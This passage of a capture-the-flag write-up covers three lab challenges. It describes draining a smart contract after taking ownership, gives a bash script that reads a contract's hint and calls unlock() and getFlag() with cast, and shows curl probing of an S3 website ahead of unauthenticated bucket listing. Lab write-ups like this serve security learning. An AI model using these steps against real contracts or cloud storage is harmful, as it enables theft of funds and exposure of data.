The challenge provides us with the functions required for the solution on the web server running on the machine. We can use the Foundry to solve the challenge.
To solve this challenge using Foundry, we write a script where the contract first calls changeOwnership() to become the new owner, then calls withdraw() to drain the contract balance. The isSolved() function will return true once the balance is 0, confirming success.
We were able to change the owner and withdraw the contracts balance. We visit the web page again and request the flag.
PassCode
BlockChain
The challenge provides us with the functions required for the solution on the web server running on the machine. We can use the Foundry to solve the challenge.
In order to solve this challenge, we need to call the unlock() function using the correct code. We can then request the flag via the getFlag() function. There is a hint() function that provides a string. Upon testing this manually, it becomes clear that the result of hint() is the code. To solve the challenge, we write a script that performs the aforementioned steps.
solve_passcode.sh
#!/bin/bash
# Check if IP was provided
if [ -z "$1" ]; then
echo "Usage: $0 <ip>"
exit 1
fi
# Set variables
IP="$1"
RPC_URL="http://$IP:8545"
API_URL="http://$IP"
# Export for cast
export RPC_URL
export API_URL
# Retrieve wallet and contract info
PRIVATE_KEY=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.private_key")
CONTRACT_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".contract_address")
PLAYER_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.address")
echo "[*] Player Address: $PLAYER_ADDRESS"
echo "[*] Contract Address: $CONTRACT_ADDRESS"
# Get hint
echo "[*] Fetching hint..."
HINT=$(cast call $CONTRACT_ADDRESS "hint()(string)" --rpc-url $RPC_URL)
echo "[*] Hint from contract: $HINT"
# Extract numeric code from hint
CODE=$(echo "$HINT" | grep -oE '[0-9]+')
if [ -z "$CODE" ]; then
echo "[-] Failed to extract code from hint."
exit 1
fi
echo "[*] Extracted code: $CODE"
# Call unlock
echo "[*] Calling unlock($CODE)..."
cast send --legacy $CONTRACT_ADDRESS "unlock(uint256)" $CODE --private-key $PRIVATE_KEY --rpc-url $RPC_URL
# Get Flag
echo "[*] Calling getFlag()..."
cast call $CONTRACT_ADDRESS "getFlag()(string)" --rpc-url $RPC_URL
echo "[+] Done."
We run our script and provide the machines IP. The flag gets printed.
./solve_passcode.sh <IP>
A Bucket of Phish
Cloud
We initally try to access the provided website directly to see what it serves. Requesting a nonexistent key in an S3-backed website helps us determine if it's misconfigured. In this case, the error message shows that the backend is an S3 bucket and confirms that keys are being served directly.
curl http://darkinjector-phish.s3-website-us-west-2.amazonaws.com/s3
<html>
<head><title>404 Not Found</title></head>
<body>
<h1>404 Not Found</h1>
<ul>
<li>Code: NoSuchKey</li>
<li>Message: The specified key does not exist.</li>
<li>Key: s3</li>
<li>RequestId: 5N4YRF3PFTQJ3PD4</li>
<li>HostId: 8UMAis1KTIphT1x1jpBFPaGexYTQkhV5wy3nVdcEj9dc5rQBSgesHlRgBKtW9eYnmnHDUiCVeYU=</li>
</ul>
<h3>An Error Occurred While Attempting to Retrieve a Custom Error Document</h3>
<ul>
<li>Code: NoSuchKey</li>
<li>Message: The specified key does not exist.</li>
<li>Key: error.html</li>
</ul>
<hr/>
</body>
</html>
Next, we use the AWS CLI with unauthenticated access to list the bucket's files.
Some S3 buckets are public and allow listing without credentials. This shows all stored objects. Here, we discover index.html and a file named captured-logins-093582390.